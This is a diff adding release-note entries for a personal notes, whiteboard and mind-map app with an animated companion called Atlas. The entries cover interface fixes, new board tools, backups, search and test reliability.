+- Mind maps: a topic's icon can be any of the 1,530 vendored Phosphor icons or one of about 470 emoji, from the one icon and emoji picker (the Text menu's More icons and emoji…): search, a Recent row, Emoji and Icons, arrows and Enter, Escape back to the button; an emoji is drawn as itself and kept in the OPML and FreeMind exports. Before, a topic could wear one of 11 icons and no emoji (INBOX 641, 642; MINDMAP_PLAN decisions 43, 45; mc1-iconpicker.js 12/12). The picker is a lazy module, so nothing loads until it is opened.
+- Mind maps: View, How this map looks picks the hierarchy (Classic, Outline, Boxed or Flat) and, under Centre, Main branches or Sub-topics, that level's size, bold, italic, box, edge bar, fill and line; a topic's menu has a Look group with Copy this topic's style and Paste style (Ctrl+Alt+C and V now reach topics, which they refused before), and Use this look for its level, which gives the topic's own look to every topic at its level (Illustrator's Redefine). Each is one Undo step (INBOX 641, MINDMAP_PLAN decisions 40 to 42; mc1-maplook.js 13/13).
+- Mind maps draw as a hierarchy: the centre is large, bold and filled in the accent (22px on a pill), each main branch bold at 17px on a tinted card with a thick line, deeper topics as before; a topic's own size, shape or fill still wins, a map-wide text size now reaches the deeper topics and leaves the centre alone, and Enter on the centre adds a main branch rather than a second centre. A topic's Fill offers Solid colour. Measured before: centre, branch and leaf all 13.6px at weight 400 (INBOX 641, MINDMAP_PLAN decisions 38, 39, 47; mc1-maplevels.js 13/13).
+- Package check (CI): the frozen Windows app is now proven on every lazily loaded script and stylesheet (read from app.js's LAZY_MODULES, so the list cannot drift), each with its MIME type, and on the API a packaged build can get wrong: search, a stats question answered without a model, the backup exports including the sealed bundle, and the Alembic stamp on a fresh data dir; no traceback in its output and nothing written into its own folder. It installs a second optional package (Pyodide, the app's own download path), upgrades over the latest published release and checks the note, version, schema, shortcuts and stale files, and checks the uninstaller removes the whole install folder. The release build runs the same smoke, and the check now runs for any change to the app, the frontend or the migrations.
+- Boot budget: the Attach picker's row (`pick-row.js`), "Unlock private notes" (`vault-unlock.js`), the skill editor's verify and tool readers and the Library's Remind me moved out of the boot scripts into the lazy files that use them; boot JS 588,744 to 587,342 bytes gzipped, app scripts 320,610 to 319,208.
+- Notes: an edit left unsaved in a note's form is kept on this device until Save or Cancel, so a reload answered Leave, or a closed desktop window, no longer loses it; the next start offers Open them. The Guide says so
+- Dashboard: the boards widget's New board waits for the boards' code, as Library, Create does now; both did nothing on a first visit since the Library tab began loading library.js alone (FE-03(c)), and both worked in 0.3.32
+- Ask: a question that names a category as where its notes are ("Summarise my notes in Health.", one Ask suggests itself, or "my Work notes") is answered from that category; it was answered from whatever matched the words, other categories included, with a model and without
+- Filing: when a slow model's answer replaces the words-based stand-in, the composer's line follows it (it said "Filed under Health" and nothing said the model then moved the note to Work), and a move is said in a toast with Put it back
+- Command palette: Take the guided tour (Ctrl+K, "tour") opens the tour from anywhere; it was reachable only from the Dashboard's first-run tile and Settings, Help. The Guide's tour topic says so
+- Import: Markdown files and folders now join up their [[wiki links]] as links (the Graph showed an imported vault with none until each note was saved again), and choosing the same files again adds only what is new, saying how many were already in
+- Graph: Concept maps landed on the Library's All view on a first visit to the Library instead of on the boards; it now waits for the Library before opening Boards & maps
+- Boards: Library, Create, New board and New mind map did nothing on a first visit to Boards (the button was pressed before the boards' code had bound it); they now open the board gallery and make the board
+- Documents: Library, Create, New document on a first visit opened the last document instead of making one, so a title and text typed there went into an existing document; it now makes the document, and a link to a document (#/docs/2) is no longer replaced by the newest one as the tab finishes loading
+- Library: Ctrl+K, Open the bin on a session that had not opened the Library yet showed "Nothing of this kind yet." under a full Everything count; a cross-fade render that was overtaken by the load no longer draws its empty list over the loaded one
+- E2E: the Playwright suite drives capture and filing end to end against a real server on a seeded 75-note notebook (filed by meaning with no model, tags, title, a picked category, search, timeline, graph, Undo and Redo, Quick note, paste), and a first-run project on a fresh data dir
+- Manuscript look: muted text is a shade darker, so it reads at 4.5:1 or better on Settings' cards; 17 labels and facts in Search and index, Account, Skills and Tools were at 4.33 to 4.47:1 (qa-1005, contrast.js LOOK=manuscript: 17 to 0).
+- Settings, Logs: the filter hint reads "Filter logs", which fits the field on a phone ("Filter records…" was cut off at 390; qa-1005, qa1005-polish.js placeholders).
+- Notes: opening a note for editing in the first seconds after the app opens (or on a slow disk) holds the note's place with placeholders while the form loads; before, the card dropped to an empty 15px strip and every note under it jumped up and back (qa-1005).
+- Notes on a phone: a card's connection pills keep to one line, their words cut with an ellipsis, as Ask's results already did; at 390 they wrapped to two small lines inside a one-line pill (qa-1005, qa1005-polish.js linkpills).
+- Settings: a text field in a settings row wraps onto its own line rather than shrinking; on a phone the server address field was 62px wide and five hints were cut off, one at desktop width too ("Optional, 8 or more character"); a template's description hint is shorter (qa-1005, qa1005-polish.js placeholders: 6 to 0).
+- Settings: a status line with nothing to say takes no room; nine cards (Models' backend card, three in Tools, Web search, three in Import and export) ended on 27px of empty paragraph margin (qa-1005, qa1005-polish.js settingspad: 9 to 0).
+- Notes: between 1100 and 1170 wide the notes bar no longer lays its Filter menu under the sort picker ("FiNewest first"); it wraps its actions to a second row instead, and stays one row at 1184 and wider (qa-1005, qa1005-polish.js dockoverlap: 1 to 0).
+- Library: the Cards and Rows switch shows your choice the moment the tab opens, and Boards & maps shows placeholders while its editors load; before, the switch had neither pressed until the list answered and the sub-tab was blank until the boards' bundle arrived (qa-1005, qa1005-polish.js with both held 3s: 0 and 0, then 1 and 4).
+- Notes: a task line in a note card draws as a box (ticked ones muted and struck through), as the note page and documents draw it; before, the card showed the line as written, dash and brackets included (qa-1005, qa1005-polish.js).
+- Chat, Notes and Library empty states: the Ask Atlas offer is set apart by space, not by a short hairline floating in the middle of the centred welcome (qa-1005, qa1005-polish.js: 3 rules to 0).
+- Reminders: a hovered reminder's actions now cover its time whole; on a reminder linked to a note (two lines) the strip sat 11px low and the top half of the time showed above it (qa-1005, qa1005-polish.js: 6 rows to 0).
+- Notes and Library: a drag-selection begun in the first seconds after the app opens (or on a slow disk) now scrolls the list at its edge like every later one; before, the edge scroll's file had not arrived and the first drag scrolled 0px (qa-1005, measured 756px with the file held back 1.5s).
+- Menus: every menu now fades out over 120ms instead of vanishing (one CSS transition on the hidden state, so the opener, Escape, a press outside and every other close path get it); a menu that was moved out of a clipping scroller goes home after the fade; reduced motion keeps the instant hide.
+- Maps: a topic the render pass did not repaint no longer takes the server's placeholder height into the size cache, so pans, rings and edge ends computed from a topic's size land on its box (they were 12px off at 390 and 38px at 1440 after a state fetch); mapstrip.js holds it to 4px.
+- Sweeps: left1005-frametitle.js measures nested frames at a phone's fitted zoom (the outer title's words always reach the outer frame) and resets its board before its last drag, which the edge auto-pan had been taking.
+- Write with Atlas on a phone: the what-to-write select takes its own line, so it and tone and length show their values (they were cut to 16px in one row of four controls); phonecapture.js and tablefullclose.js measure the Writing Room and the table full view at 390.
+- Sketch pad: below 820px the ink dots keep their gap, so no two colour targets overlap (six pairs did at 700 with Large text and Spacious); the bar's one allowed second row is 820 with Large text and Spacious, and sketchbar.js now measures ten widths.
+- Sweeps: contrast.js now reads a board and a map (open, every item selected, each sidebar tab) at 1440 and 390 in both themes; none fails, the sticky's drag grip included.
+- Gate: scripts/gate.sh --staged lints the staged index once instead of the working tree and then the index (the same lint set twice); with nothing staged it lints the working tree, so it never runs zero lints (tests/test_gate_staged_once.py).
+- Graph: the zoom strip's four buttons (Full screen included) are checked to be what a finger hits at 390, clear of the New note button; the report of Full screen sitting under a small button no longer reproduces.
+- Empty lines: the last nine (Documents' list, outline and two histories, Chat's saved chats, Ask's history, the graph pane, the board's overview and Format panel) are the one empty-line recipe, so every short "nothing here yet" line is one size, ink and margin; the lint's waiting list is empty (`tests/test_ui_recipes.py`, `op5-1005.js` MODE=emptylines).
+- Mind maps: Branch colours offers eight palettes, four new (Bold, Paired, Bright, Earth), each colour at least 1.6:1 on white so a branch line never vanishes; MINDMAP_PLAN §12.1 closed (its open rows found built or superseded) and moved to HISTORY (`tests/test_map_theme_palette.py`).
+- Tests: the edit-embeds tests drain the shared job pool before and after each test (its dedupe key was shared by every test editing note 1), hold the embedder on its gate until released, and wait with 60 s ceilings.
+- Tests: the 5,000-entity merge-candidates speed check is measured in process CPU time, with the 1 s budget unchanged.
+- Tests: the extras install-history test polls for the history row, because the worker lowers the running flag a few statements before it records the row.
+- Tests: the relations cost test measures the 2k and 10k passes in process CPU time, so the five-times-the-notes, ten-times-the-time ratio no longer drifts with machine load.
+- Tests: the lexical-filing tests no longer fail on a loaded machine: the wait for the background filing pass has a 90 s ceiling and raises a clear error instead of returning a pending status, and the 800-note speed check is measured in process CPU time.
+- Tests: the debug-health tests no longer fail on a loaded machine: the running-job test holds the re-index on an Event and waits for the worker to enter it (it was a 5 s sleep raced against the request), and the 20 ms budget is measured in process CPU time with the budget and fastest-sample rule unchanged.
+- Sweeps and docs: `errors.js` runs a browser per width with `--disable-dev-shm-usage` and reports a renderer crash as a finding; `noteeditflow.js` and `noteedit616.js` seed their own bookmark and note so they pass on a fresh data dir; thirty-eight finished agent files left `docs/roadmap/agent-remaining/` for the archive, their open rows carried into `OPEN.md`.
+- Export activity: events about a private note stay out of the file after the note is purged too (a purge seals its events, dropping their text and flagging them private, and the export leaves flagged events out)
+- Settings: a status line that names a server address (Models, "Saved, but nothing is answering at ...") and a long Ask Atlas question in a help popover wrap inside the pane at 390 instead of running it sideways
+- Gzip caps back down: the list drag-select edge scroll moved whole into drag-edge.js and the note edit form's formatting strip into note-edit-panels.js (both lazy, one caller each), boot JS cap 589,600 to 588,400 and the scripts total 321,500 to 320,300; the edge scroll loads three seconds after boot, so a drag in the first seconds does not scroll at the edge
+- Settings, Background tasks: the optimisation pass's model override says which model its default means ("Same as utility model (currently ...)").
+- Settings, Models, Installed models: each model you have is a card like the suggested downloads, with its size on this computer and what it is in use for; its menu puts it to use, copies its name or removes it.
+- Appearance: a theme card's preview and swatch, and a setup snippet in Settings, round their corners inside their card's corner (concentric) at every corner setting.
+- Appearance and layout: the shadow strength slider now changes every shadow at every step in light and dark, every palette included, from none to the strongest, with 5% looking as before; in light, a text field is a shade deeper than a segmented control beside it, as in dark; the Ask results sit in one column below 1100px wide instead of two narrow ones; and a short "nothing here" line in the agent panel and Settings lists is one size and spacing everywhere.
+- Chat, Attach: a mind map's row shows the map's own shape, a PDF's row its first page (where pages can be drawn), and a document's row whether it is prose, a table or code, each in the same small tile as before.
+- Layout: from 600 to 719px wide the status bar and the dashboard's quick access now look as they do up to 819px (the tablet band), instead of switching to their phone sizes 120px early.
+- Docs: the no-em-dash lint now covers docs/**/*.md, docs/index.html and the root *.md files, and the 5,900 em-dashes it found are reworded (comma, colon, parentheses or full stop); the two changelogs stay identical.
+- Docs: MODELS.md now says `qwen3.5:35b-a3b` is about 21 GB and needs about 24 GB, as the in-app catalogue does (it said 24 GB and 32 GB); `tests/test_models_doc_sizes.py` pins every catalogue model's size and stated memory in that file to the catalogue.
+- Suggested links: Link all above 70% asks first, says how many pairs actually linked (Linked 3 of 4), and a pair whose link failed stays in the list; the Links help line and the Guide name it.
+- Settings at phone width: a setting's label no longer stands 114 to 202px tall above its control (39 rows, the gap above Tokens per step in Tools it can use); the stacked row sizes the label to its text.
+- Notes and Library: a text selection dragged within about 56px of the top or bottom of the list scrolls it, faster the closer to the edge (the browser alone covered only the last 20px); the selection follows (INBOX 608).
+- Startup: the note edit form, the full backup's save and restore and seven other helpers that only one lazily loaded file calls moved into that file (and, after the edit form's redesign merged, the embedding models list, the form's close and the Settings bar's New listener), and the edit form's bundle is fetched a few seconds after start so the first Edit does not wait; the scripts the app loads at start are 589,955 bytes gzipped (from 601,448 after the day's merges), and the boot, app.js, total and guard caps are lowered to the measure.
+- Settings, Packages: bundles of the packages one kind of work needs together (Documents, Vision, AI, Voice, Desktop, Code). A bundle's Install fetches the ones still missing, and its ⋯ reinstalls or removes them all; tick any packages to install, reinstall or remove them together from the selection bar. They run one after another as one background job with its progress in the activity panel, each package says how it went under its row, one that fails does not stop the rest, and Quit stops the rest. An installed package shows its version and its size on disk, and Reinstall and Remove are in its ⋯. Offline, an install says it could not reach PyPI rather than that the package does not exist (INBOX 595).
+- Documents, Download as .docx: pictures come along now. A picture on a line of its own keeps the width, alignment and caption you gave it (`![A river|400|center](...)`) and is fitted to the page; one in a sentence stays in its line; each keeps its alt text. A picture that is missing, on the web or in a format Word cannot hold stays as its words (FEAT-18).
+- Atlas's props move of their own while they show (INBOX 623): the lantern swings on its string and its star flickers, the bell sways, the offline link sparks, the music's cups pulse, the night moon rocks on its ear, the reading lenses catch the light, the book's pages lift and its stars twinkle, the map rocks and twinkles, the coil breathes, the startle's bubble wobbles and its "!" pops. Each moves about where it is held and holds still with Avatar animation off or under reduced motion.
+- Atlas, in its large view: the companion visiting it floats free in the middle of the view, clear of the card's edges, instead of hanging from its perch's edge or sitting on a drawn ledge, and sways and bobs on the view's two clocks between its acts; its perch's pose comes back with it when the view closes. An act is eased into over 0.3s, as it was already eased out of (INBOX 619).
+- Atlas: lying down and curled up, the whole figure turns as one; the lower body and her waist wisps no longer turn 16 to 42 degrees off the torso, which stayed nearly upright while the lower body lay half off it (INBOX 619).
+- Atlas: the torso and the lower body meet as one silhouette (INBOX 615, and 619 for her). The lower body moves inside the body's own sway and breath, and its own swing (the hem's wind, the walk, a pose's lean) is a shear about the join rather than a turn, so the waist stays under the torso while the hem moves; his cloak is a little narrower at the waist.
+- Atlas: its eyes never go blank. Changing to or from the heart eyes, the iris and the heart now cross over on one clock, on the companion and in its wake and doze; before, the companion's iris cut out at once while the heart faded in, leaving a white eye for up to half a second (INBOX 619).
+- Atlas, his look: a slimmer, athletic young-adult build to match hers (19 to 21): defined shoulders tapering in a V to a narrow waist (shoulders, waist and hips 17, 9.5 and 9.8 across where they were 18.6, 15.1 at the belly and 10), slimmer arms, and a cloak and tail that taper with it (INBOX 614).
+- Atlas: its tail grows out of its lower body (wide where it leaves, in the body's own colour, deepening into the galaxy along its length) and is alive: it bends along its whole length as a spine does, a wave running from root to tip, and changes what it does every few seconds at random (a lazy sway, a curl, a wrap, a flick, a wag when pleased, a trail on the move, a droop when low), each change eased and never the same twice running. The celestial rings sway their tilt, each on its own clock, with their dust running round them; the planets go round faster, and each planet's glow swells and its swirl of light turns. A poke in the large view now eases back into its idle motion instead of snapping still, and a companion drawn from a name keeps a gentle sway there between its acts. Her arms turn about her own shoulders, so her right arm no longer pulls away from her body as it moves. Double-click or double-tap the companion's resize handle to put it back to Medium (INBOX 600, 601, 612).
+- The bars at the top of every tab and Library view read as one quiet page head: the title with no divider after it, a count as plain muted words, a search box with a magnifier and no border until you type in it, the icon buttons together at the end and the one filled action last. The graph's display options are one aligned column with one head style, and Settings lists a long section's groups under its name in the sidebar (on a phone, in the section picker) instead of a strip that scrolled sideways; nothing in Settings scrolls sideways now.
+- Reminders: snoozing one (+1h, tomorrow, 10 minutes) has an Undo in its toast and in the status bar's pair, which puts the old time back even when it was already past; `PUT /reminders/{id}` takes `restore` for that (WORLD_CLASS_PLAN row 32).
+- Mind maps: Branches from my notes. On a topic, Add, Branches from my notes… (or Ctrl+K) suggests up to five children found in your own notes, each saying which note it came from; with a model running it names a topic for each, without one the notes' titles are the suggestions. Tick the ones to keep and Add makes them under the topic, each with its source in its note, as one Undo step (the features audit's FEAT-13; WHITEBOARD_PLAN decision 36).
+- Whiteboard: connection points, like draw.io's. With Select, pointing at a shape, card or text box shows where a connector can attach, on the shape itself: a diamond's tips and side middles, a triangle's corners and sides, an ellipse's compass points (they were its box's corners, off the shape); drag from one to draw an elbow connector with an arrow to whatever you let go on, or to a free end. Links made before keep their ends. Moving both things a connector joins now moves its bends with them, in the same Undo step (WHITEBOARD_PLAN decision 35).
+- Whiteboard: smart guides line a dragged item up with drawn shapes too (a flowchart's boxes are shapes, and had nothing to snap to), and the third box of a row snaps to the spacing the first two set, with the two gaps marked while you drag; Alt still turns every guide off (WHITEBOARD_PLAN decision 34).
+- Whiteboard: a board's History, a time machine (the features audit's W2). Board, History… puts a slider at the foot of the board: drag it back (or press Left, Home and End) and the board is drawn as it was at each moment, a moment being a run of changes up to two minutes long, with what it added, changed and removed; Put back restores the whole board, or only what was selected, as one Undo step and as a change in the history itself; Esc comes back to now. Nothing on the board can be changed while the past is shown. Items placed from the library now each have their own history, so they go back and forth like anything drawn by hand (WHITEBOARD_PLAN decision 33).
+- Whiteboard: a Mermaid flowchart's subgraphs come in as frames (they were left out). Each subgraph, nested or not, is a frame with its title round exactly its own shapes, laid out as one block so no other shape falls inside it; an edge to a subgraph joins its frame; the whole import is still one Undo. The Mermaid export writes the board's frames back out as subgraphs (WHITEBOARD_PLAN decision 32).
+- Whiteboard: bends on every connector, and line jumps (draw.io's). A straight or curved connector takes bends as an elbow does: drag the ring in the middle of a run (or double-click the line) to add one, drag a bend to move it, double-click it to take it out; a straight line runs through its bends, a curved one curves smoothly through them, and changing the line shape keeps them (WHITEBOARD_PLAN decision 30). A double-click or a click on the ring no longer drops a stray bend where it was. The Format panel's new Line jumps (arc, gap or sharp) makes a connector hop over every line under it where they cross, in the SVG export too (decision 31).
+- Skills: a new built-in, Write a document from a tag, asks which tag, reads every note under it and saves one document that draws on them (the notes themselves are never edited); run it from the skills above the chat box or ask for it in Chat. There are 21 built-in skills now.
+- Settings, Import & export: a full backup can be sealed with a password (it saves as a .mmenc file, AES-GCM with the same scrypt key the private notes use; empty keeps the plain .zip), and a new Restore a full backup group reads either kind back: a wrong password or a file that is not a notebook changes nothing, your current notebook is snapshotted first, and attached files are put back over the ones here without deleting any. Before, the full backup zip could be saved but nothing in the app could read it. Measured through the real controls at 1440 and 390, light and dark: three notes binned, a wrong password refused, the right one brings all three back.
+- Chat: an answer to a question about your notes is numbered as it streams, the way the Ask tab does it: each source number appears when the sentence it backs is finished, instead of all at once with the last word (`grounding_live` is read by the Chat tab's stream; the markers are put back after every live paint). Measured with a stand-in model at 1440 and 390: the first number lands about 1.8 seconds before the answer ends, where it landed with the last word.
+- Settings, About, Health: a Files on disk row says what attached files, pictures and backups weigh beside the database (`GET /storage` carries the three sizes, from a walk cached for a minute).
+- Library: a Highlights chip lists every passage you marked with ==words== (or a colour), one card each with the note it is in, and pressing one opens the note; search takes `has:highlight`, and a highlight is read the same way in both.
+- Filing: a note of one to three words is filed by meaning only when its nearest filed note is close (0.72), so "ai is cool" no longer lands in whichever category is least far; measured with the shipped embedding model, 59 of 60 short notes that have a home still file and 3 of 20 that have none do (it was all 20). Otherwise it falls to your notebook's own words, or the model.
+- Background tasks: notes that were filed by your notebook's own words while no model was available get a second opinion once one is back (20 a tick); the ones the model files elsewhere move, and the rest are marked as the AI's, so moving one by hand teaches the filer. Never a private, binned or hand-filed note.
+- Library, Activity: an Export activity button saves the activity log as a spreadsheet (time, actor, action, entity kind, entity id and title; never a payload value), oldest first, with events about private notes and the vault left out, every cell defanged against CSV formula injection (a leading `=`, `+`, `-`, `@`, tab or carriage return gets a `'` in front), `limit`/`offset` paging and `X-Total-Count`, and the export is itself logged; `GET /audit/export.csv`.
+- Settings: Personas, Skills and Templates have New persona, New skill and New template in the bar at the top of the pane, which opens the form, ends an edit in progress and puts the cursor in its Name field; on a phone it is a + on the title's row.
+- Quick sketch: more room under the title and close button, and a quieter toolbar, a soft tint with no border and no lines between its groups; the white ink dot has a ring so it shows on a light bar, and the black one on a dark bar (INBOX 620).
+- The top bar and the status bar, polished (INBOX 618). The spaces picker is a quiet control the shape of a tab, with no box; the tab you are on is marked by its fill alone, not also drawn heavier; the logo is a smaller tile; Quit is quieter than the other icons until you point at it. In the status bar the note and reminder counts are quiet, Agent, Guide and Find are icons (hover one for its name and keys) with Commands the one worded button, and back, forward and history sit with undo and redo as one group, without the line between them.
+- Notes: the edit form is redesigned again (INBOX 616). The title is large text with no box of its own; under it one line of properties, the category chip then the tags as small padded chips and Add tag, with no boxed field and no # icon; the formatting strip is one row of icons (Bold, Italic, Strikethrough and Code are icons now, not typed letters) that never folds into an empty band, the rest behind More, in Capture too; Related folds into one "3 suggested links" line until opened; the foot is Attach a link and the word count, then Cancel and Save. Attach a link works: it opens the bookmark picker, and the link you pick shows under the text as a reference. Before, it put a list into a panel that was hidden while the note had no reference, so the press showed nothing.
+- Scratchpad: 433 one-off sweeps, seed scripts and outputs deleted (1,394 tracked files to 963, 9.7 MB to 8.2 MB); git history keeps them. `scratchpad/cleanup_inventory.py` marks each file KEEP or DELETE, `scratchpad/README.md` states the rule and how to retire a sweep once its finding is here, and `tests/test_scratchpad_size.py` caps the tracked count at 1,003.
+- Dialogs: every dialog's buttons at the foot are one height and in one order (INBOX 599): Cancel or the other quiet choices first, the one filled action last, at the right. Before, eight dialogs (New space, Delete space, templates, Quick note, the word goal and others) drew their Cancel 40px and their action 38px beside the confirm box's 32px, and Extract to notes and Improve writing put the filled action first, at the left.
+- Notes: the edit form is one composition (INBOX 606). The title, the formatting strip and the text are one box, like the capture box; tags are chips you add with Enter or a comma and remove with a press; the category is its chip with a menu; Cancel and the filled Save sit at the right of the form's foot with Attach a link as an icon at its left; each related note has a quiet + to link it instead of a boxed Link button. Measured at 1440: Save was mid-row before Cancel, 3 boxed buttons under the form, 0 now; on a phone the New note button no longer floats over Save.
+- Startup: about 8 KB less script (gzipped) loads before the app is usable. The Settings window's save and apply handlers, the "m" chord's guide, the duplicate finder, the palette's notes rows, the code highlighter and the board and note pickers now load with the screen that alone uses them; nothing on screen changes. The size caps in the tests are lowered to the new measures.
+- Command palette: notes and documents come from the same search engine as Find anything, so a typo ("gardn") finds the note, a word inside a document finds the document (even before the Library has been opened), and notes past the page the browser holds are found. Typing still shows the in-memory matches at once; the engine's answer lands a moment later and leads the group.
+- Library search: the Semantic filter asks the same search engine as the Notes tab and Find anything (words, meaning and links ranked together) instead of a separate cosine-only list, so the three boxes agree on what a question finds. It still only adds notes to what the words matched.
+- Notes search: the filter understands has: (link, file, image, reminder), space: and kind:, asked of the same search engine as Find anything (before, each was read as a plain word and matched nothing); and the Semantic switch ranks through that engine too, shows the notes it found by meaning even when they share no word with the box, and keeps its best-first order under Newest first. Before, the list threw away its own semantic results unless they also contained the typed words.
+- Settings: every pane opens on one bar, like the Library's views (INBOX 599): the pane's title, its jump links (Your skills, Add your own, ...) and its ? in one row that stays at the top as you scroll, where before a large title sat over a separate strip of links. Background tasks has its title back, and the Logs title is the same size as the others (it was 12px).
+- Library: a document card's menu has Show in graph, which turns the graph's Documents switch on and centres the map on that document, the way a note's already did.
+- Library, AI skills: the dock is one row again down to a 1100 window (INBOX 599). The sort is an icon-and-caret button (the order is still on its tooltip and read aloud), and on a narrow window the All, Yours and Built-in segment shows each icon with its count; before, at 1100 and 820 the segment and a wide Yours first box fell to a second row (90px against 50).
+- Mind maps: import an XMind file (.xmind, XMind Zen and later): Import outline… reads its first sheet with its central topic as the map's root, and each topic's notes. An XMind 8 file is refused with how to get the newer one.
+- Whiteboard: a board in and out as text (W5). Insert, Mermaid or board SVG brings in a Mermaid flowchart (pasted or a .mmd file) as shapes and elbow connectors laid out by depth, or an SVG a board here exported, which now carries the board inside it, so it comes back as shapes and connectors rather than a picture. Export adds Outline (Markdown: each frame a heading over what is in it, in reading order) and Mermaid (a flowchart of what the connectors join).
+- Agent mode: the assistant edits boards (FEAT-12, WHITEBOARD_PLAN decision 29). Seven new tools: move_board_item, edit_board_item (words, line colour, fill) and delete_board_item ask first, like every other tool that changes your work, and each returns an Undo (a delete takes the item's connectors and its Undo puts both back); add_board_shape draws a rectangle, ellipse, diamond or frame; list_library and place_library_item search the board's object library and place from it. 65 tools in all.
+- Whiteboard: the mind map's Outline tab lists the map's topics as an indented tree in sibling order (Enter selects one on the map, Left goes to its parent); it was an empty tab. And an open Layers, Pages or Outline tab now follows the board as it changes, where before it showed the board as it was when the tab opened.
+- Whiteboard: Pages and the hover lock. The sidebar's new Pages tab lists the board's frames in presentation order (WHITEBOARD_PLAN decision 22: frames are the pages); drag a row or press Alt+Up and Alt+Down to reorder, which the presentation follows, Enter goes to the frame and P presents from it. A locked item now shows a faded lock while the pointer is on it, the first press on one says how to unlock it, and right-click on it offers Unlock this item first (INBOX 557a).
+- Whiteboard: every control on a selection's bar sits on one centre line. The Width box sat higher than everything beside it (the app's field margin, which the Size box had turned off for itself alone); now no number field on the bar carries a margin (INBOX 576).
+- Whiteboard: a Format panel, like draw.io's. Ctrl+Shift+P on a board (or Format panel in the selection's More menu, or View) opens it on the right with three tabs: Style (line, width, pattern, fill, opacity, shadow, and a connector's line shape, ends and label place), Text (size, colour, bold, italic and alignment of a text box or of the words in a shape) and Arrange (X, Y, width, height and angle as numbers, flip, and the order, align, spacing, group and lock buttons from the board's command table). Every change is one undo step.
+- Whiteboard: elbow connectors. A connector's line shape (the bar's new Line shape, or the Format panel) can be curved, straight or elbow; an elbow turns only at right angles and goes round the two shapes it joins, a ring in the middle of each run drags in a bend, a bend drags or double-clicks away, and placed library items keep their bends. A connector's label slides along its line by the square at its edge. New ends: the entity-relationship marks (one, one and only one, zero or one, many, one or many, zero or many). With one shape or text box selected, the arrows round it (or Alt+Shift and an arrow) copy it that way and join the two. A selected connector now shows its bar, which it never did, and the bar keeps clear of the sidebar's rail.
+- Whiteboard: an object library, like draw.io's (INBOX 557, 558). The board's new sidebar (the Library button, or the rail on the board's left edge) has the Library, the Notes to drag in as cards, and the Layers. The Library holds built-in sets drawn for this app (General shapes, Flowchart, Arrows, Frames such as Kanban, a retrospective, SWOT and a timeline lane, and 1,530 icons drawn as shapes so they export), with search, Favourites and Recent; click or Enter places a tile in the middle of the view, a drag puts it anywhere, Shift+Enter places it joined to the selection, and placing is one undo step. Save your own with Ctrl+Shift+S or right-click, Library: a selection with its links, a drawn shape, a style, a sticky or text preset, a palette of the selection's colours, a mind map branch, or Board, Save this board as a template; New board then opens a gallery of Blank, the built-in frames and your templates. Libraries export to a file and import with new ids; a picture not in this notebook is left out and counted. A placed item is an ordinary copy: a later change to the library never changes a board. Library pictures and board backgrounds are kept by media cleanup.
+- Whiteboard: Layers. The sidebar's Layers tab lists everything on the board in paint order, cards and text above the drawings, groups with their members; each row hides or shows (H), locks (L), renames (F2) and restacks by drag or Alt+Up and Alt+Down, and Enter selects it and brings it on screen. A hidden item is drawn nowhere, exported nowhere and skipped by search, Select all and Tab.
+- Whiteboard and mind map comments: a thread shows its comments and a quiet New comment button under them, which opens the box with Post and Cancel; Escape or Cancel folds it away, and it folds back after a post. A thread with no comments yet opens straight on the box (INBOX 570).
+- Whiteboard: paste text from any other app onto a board. A link becomes a link box, one line a text box, and several lines (a list, a column from a spreadsheet) a grid of stickies, selected and undone in one step; a picture pastes as before. Items copied on a board also reach the system clipboard as their words, so they paste into other apps (FEAT-09).
+- Whiteboard export: a PNG (or a copy to the image library) can be 1x, 2x or 3x the board's size, 2x by default, and can have a transparent background; the choice is remembered. Exported files are named after the board ("Launch plan.png", "Launch plan (selection).svg") instead of whiteboard-whole.png, and the PDF's print dialog offers the board's name (FEAT-14).
+- Whiteboard: a board's background colour and image are kept with the board, so they show the same in the desktop window, every browser and a backup, and Ctrl+Z undoes a change. Each board had shared one colour per browser, and the image was per browser too and was deleted by "clean up orphaned media"; a background set the old way moves onto its board the first time it is opened (FEAT-06).
+- Whiteboard help, redesigned (INBOX 566): "?" on a board, Board, Keys and controls, or the empty board's card opens one sheet of every key and gesture, in sections (Tools, Move around, Select and edit, Arrange, View, and Mind map on a map), with a search field; each row's words wrap beside a fixed column of key caps, so nothing overlaps or runs off the card at any width (measured at 1440, 1024 and 390, light and dark). The empty board's card is one line and a button instead of the key list that overflowed it.
+- Whiteboard: Bring forward and Send backward move one step (past the next item over or under it) instead of jumping to the front or back; Ctrl+] and Ctrl+[ bring to the front and send to the back, and a shape's order is now the order it is drawn in. The Arrange menu has all four, plus Same width, Same height, Group, Ungroup, Lock and Unlock all; Edit has Cut, Copy, Paste, Find, the item's text and Comment. Every board action is in the command palette (Ctrl+K, "This board") and in the shortcut sheet (?), from one table, so the words and keys agree everywhere (FEAT-07, FEAT-11, FEAT-19).
+
+- Line numbers, in Capture, the note edit form and the documents editor: no boxed column any more. The figures sit in the field's margin, a size under the text, muted and of one width, each on its line's baseline, and the line the caret is on is brighter while you type; a note box numbers its own lines once its editor opens, so a wrapped line keeps one number (INBOX 590).
+- Dashboard, Quick access: the first tile is highlighted by its position, not because it is New note, so whatever you put first is the one marked. Each tile's menu (Customise, Edit quick access) has Highlight: the accent, one of the twelve category colours, or No highlight; the choice is stored per user and Reset quick access clears it. Label and description keep 4.5:1 on every colour in both themes (INBOX 589).
+- Notifications: a pop-up's message and its button are one row with an 8px gap and one centre line (the reading toast's Show it touched its words, 0px), toasts are 24rem wide so a short message and its button fit one line, and every pop-up with a button (Undo, Open it, Show it, Go to it, Change) is kept in the bell with the same button: an opener finds its note, chat, document or board again by id after a restart, an Undo works only while it can still be undone and then says Expired. Each bell row is one grid: the unread dot (now in every look), the icon, the text, and the time where the read circle and remove cross appear on hover, all on the title's centre line (the controls sat 4px low and over the text) with 8px padding on every side (INBOX 584, 585).
+- The companion never sits on the air: when what it was sitting on, standing on or hanging from goes (a sub-tab's toolbar hidden with its view, a board or mind map panned or zoomed under it, a card redrawn), it moves to the nearest good perch within a moment, and what is drawn on a board, a map or the graph is never a perch. Before, on a mind map it stayed seated in the middle of the canvas after a zoom, and on the Library's AI skills on a toolbar that was no longer there (INBOX 582).
+- The companion's small animations hold still for the 400ms a tab or Settings takes to arrive, so the page's frames come first (INBOX 580).
